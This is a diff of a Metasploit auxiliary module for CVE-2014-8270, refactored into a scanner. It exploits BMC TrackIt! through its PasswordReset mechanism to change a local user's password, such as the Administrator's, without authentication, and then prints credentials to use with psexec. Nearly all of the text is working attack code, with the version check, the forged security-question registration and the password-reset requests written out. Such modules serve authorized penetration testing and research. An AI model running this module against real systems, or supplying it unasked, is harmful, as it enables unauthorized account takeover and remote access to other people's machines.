|
6 | 6 | require 'msf/core'
|
7 | 7 |
|
8 | 8 | class Metasploit4 < Msf::Auxiliary
|
9 |
| - |
10 | 9 | include Msf::Auxiliary::Report
|
11 | 10 | include Msf::Exploit::Remote::HttpClient
|
| 11 | + include Msf::Auxiliary::Scanner |
12 | 12 |
|
13 | 13 | def initialize(info = {})
|
14 |
| - super(update_info(info, |
| 14 | + super(update_info( |
| 15 | + info, |
15 | 16 | 'Name' => 'BMC TrackIt! Unauthenticated Arbitrary Local User Password Change',
|
16 |
| - 'Description' => %q{ |
| 17 | + 'Description' => %q( |
17 | 18 | This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3
|
18 | 19 | and possibly prior versions.
|
19 |
| - }, |
| 20 | + ), |
20 | 21 | 'References' =>
|
21 | 22 | [
|
22 | 23 | ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-419/'],
|
23 | 24 | ['CVE', '2014-8270']
|
24 | 25 | ],
|
25 | 26 | 'Author' =>
|
26 | 27 | [
|
27 |
| - 'bperry', #discovery/metasploit module |
| 28 | + 'bperry', # discovery/metasploit module |
28 | 29 | ],
|
29 | 30 | 'License' => MSF_LICENSE,
|
30 | 31 | 'DisclosureDate' => "Dec 9 2014"
|
31 | 32 | ))
|
32 | 33 |
|
33 | 34 | register_options(
|
34 | 35 | [
|
35 |
| - Opt::RPORT(80), |
36 | 36 | OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),
|
37 | 37 | OptString.new('LOCALUSER', [true, 'The local user to change password for', 'Administrator']),
|
| 38 | + OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']), |
38 | 39 | OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])
|
39 | 40 | ], self.class)
|
40 | 41 | end
|
41 | 42 |
|
42 |
| - def run |
43 |
| - res = send_request_cgi({ |
44 |
| - 'uri' => normalize_uri(target_uri.path, 'PasswordReset'), |
45 |
| - }) |
| 43 | + def localuser |
| 44 | + datastore['LOCALUSER'] |
| 45 | + end |
46 | 46 |
|
47 |
| - unless res |
48 |
| - fail_with(Failure::Unknown, "Could not contact server") |
| 47 | + def password_reset |
| 48 | + begin |
| 49 | + uri = normalize_uri(target_uri.path, 'PasswordReset') |
| 50 | + send_request_cgi('uri' => uri) |
| 51 | + rescue => e |
| 52 | + vprint_error("#{peer}: unable to request #{uri}: #{e}") |
| 53 | + nil |
49 | 54 | end
|
| 55 | + end |
| 56 | + |
| 57 | + def check_host(ip) |
| 58 | + vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version") |
| 59 | + |
| 60 | + unless (res = password_reset) |
| 61 | + return |
| 62 | + end |
| 63 | + |
| 64 | + if res.body =~ /<title>Track-It! Password Reset/i |
| 65 | + version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first |
| 66 | + if version |
| 67 | + fix_version = '11.4' |
| 68 | + if Gem::Version.new(version) < Gem::Version.new(fix_version) |
| 69 | + report_vuln( |
| 70 | + host: ip, |
| 71 | + port: rport, |
| 72 | + name: name, |
| 73 | + info: "Module #{fullname} detected Track-It! version #{version}", |
| 74 | + refs: references |
| 75 | + ) |
| 76 | + vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}") |
| 77 | + return Exploit::CheckCode::Vulnerable |
| 78 | + else |
| 79 | + vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}") |
| 80 | + return Exploit::CheckCode::Safe |
| 81 | + end |
| 82 | + else |
| 83 | + vprint_error("#{peer}: unable to get Track-It! version") |
| 84 | + return Exploit::CheckCode::Unknown |
| 85 | + end |
| 86 | + else |
| 87 | + vprint_status("#{peer}: does not appear to be running Track-It!") |
| 88 | + return Exploit::CheckCode::Safe |
| 89 | + end |
| 90 | + end |
50 | 91 |
|
51 |
| - cookie = res.headers['Set-Cookie'] |
52 |
| - domain = $1 if res.body =~ /"domainName":"(.*)"\}\);/ |
53 |
| - domain = datastore['DOMAIN'] if datastore['DOMAIN'] != '' |
| 92 | + def run_host(ip) |
| 93 | + return unless check_host(ip) == Exploit::CheckCode::Vulnerable |
54 | 94 |
|
55 |
| - res = send_request_cgi({ |
| 95 | + if datastore['DOMAIN'].blank? |
| 96 | + vprint_status("#{peer}: retrieving session cookie and domain name") |
| 97 | + else |
| 98 | + vprint_status("#{peer}: retrieving domain name") |
| 99 | + end |
| 100 | + |
| 101 | + unless (res = password_reset) |
| 102 | + return |
| 103 | + end |
| 104 | + |
| 105 | + cookies = res.get_cookies |
| 106 | + if datastore['DOMAIN'].blank? |
| 107 | + if res.body =~ /"domainName":"([^"]*)"/ |
| 108 | + domain = Regexp.last_match(1) |
| 109 | + vprint_status("#{peer}: found domain name: #{domain}") |
| 110 | + else |
| 111 | + print_error("#{peer}: unable to obtain domain name. Try specifying DOMAIN") |
| 112 | + return |
| 113 | + end |
| 114 | + else |
| 115 | + domain = datastore['DOMAIN'] |
| 116 | + end |
| 117 | + |
| 118 | + full_user = "#{domain}\\#{localuser}" |
| 119 | + vprint_status("#{peer}: registering #{full_user}") |
| 120 | + answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ] |
| 121 | + res = send_request_cgi( |
56 | 122 | 'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),
|
57 | 123 | 'method' => 'POST',
|
58 |
| - 'cookie' => cookie, |
| 124 | + 'cookie' => cookies, |
59 | 125 | 'vars_post' => {
|
60 | 126 | 'domainname' => domain,
|
61 |
| - 'userName' => datastore['LOCALUSER'], |
| 127 | + 'userName' => localuser, |
62 | 128 | 'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
|
63 |
| - 'userQuestions' => '[{"Id":1,"Answer":"not"},{"Id":2,"Answer":"not"}]', |
| 129 | + 'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]), |
64 | 130 | 'updatequesChk' => 'false',
|
65 | 131 | 'SelectedQuestion' => 1,
|
66 | 132 | 'SelectedQuestion' => 2,
|
67 |
| - 'answer' => 'not', |
68 |
| - 'answer' => 'not', |
69 |
| - 'confirmanswer' => 'not', |
70 |
| - 'confirmanswer' => 'not' |
| 133 | + 'answer' => answers.first, |
| 134 | + 'answer' => answers.last, |
| 135 | + 'confirmanswer' => answers.first, |
| 136 | + 'confirmanswer' => answers.last |
71 | 137 | }
|
72 |
| - }) |
| 138 | + ) |
73 | 139 |
|
74 |
| - if !res or res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}" |
75 |
| - fail_with(Failure::Unknown, "Could not register the user.") |
| 140 | + if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}" |
| 141 | + print_error("#{peer}: Could not register #{full_user}") |
| 142 | + return |
76 | 143 | end
|
77 | 144 |
|
78 |
| - password = Rex::Text.rand_text_alpha(10) + "!1" |
| 145 | + vprint_status("#{peer}: changing password for #{full_user}") |
| 146 | + |
| 147 | + if datastore['LOCALPASS'].blank? |
| 148 | + password = Rex::Text.rand_text_alpha(10) + "!1" |
| 149 | + else |
| 150 | + password = datastore['LOCALPASS'] |
| 151 | + end |
79 | 152 |
|
80 |
| - res = send_request_cgi({ |
| 153 | + res = send_request_cgi( |
81 | 154 | 'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),
|
82 | 155 | 'method' => 'POST',
|
83 |
| - 'cookie' => cookie, |
| 156 | + 'cookie' => cookies, |
84 | 157 | 'vars_post' => {
|
85 | 158 | 'newPassword' => password,
|
86 | 159 | 'domain' => domain,
|
87 |
| - 'UserName' => datastore['LOCALUSER'], |
| 160 | + 'UserName' => localuser, |
88 | 161 | 'CkbResetpassword' => 'true'
|
89 | 162 | }
|
90 |
| - }) |
| 163 | + ) |
91 | 164 |
|
92 |
| - if !res or res.body != '{"success":true,"data":{"PasswordResetStatus":0}}' |
93 |
| - fail_with(Failure::Unknown, "Could not change the user's password. Is it a domain or local user?") |
| 165 | + if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}' |
| 166 | + print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?") |
| 167 | + return |
94 | 168 | end
|
95 | 169 |
|
96 |
| - print_status("Please run the psexec module using:") |
97 |
| - print_status("#{domain}\\#{datastore['LOCALUSER']}:#{password}") |
| 170 | + report_vuln( |
| 171 | + host: ip, |
| 172 | + port: rport, |
| 173 | + name: name, |
| 174 | + info: "Module #{fullname} changed #{full_user}'s password to #{password}", |
| 175 | + refs: references |
| 176 | + ) |
| 177 | + print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}") |
98 | 178 | end
|
99 | 179 | end
|
0 commit comments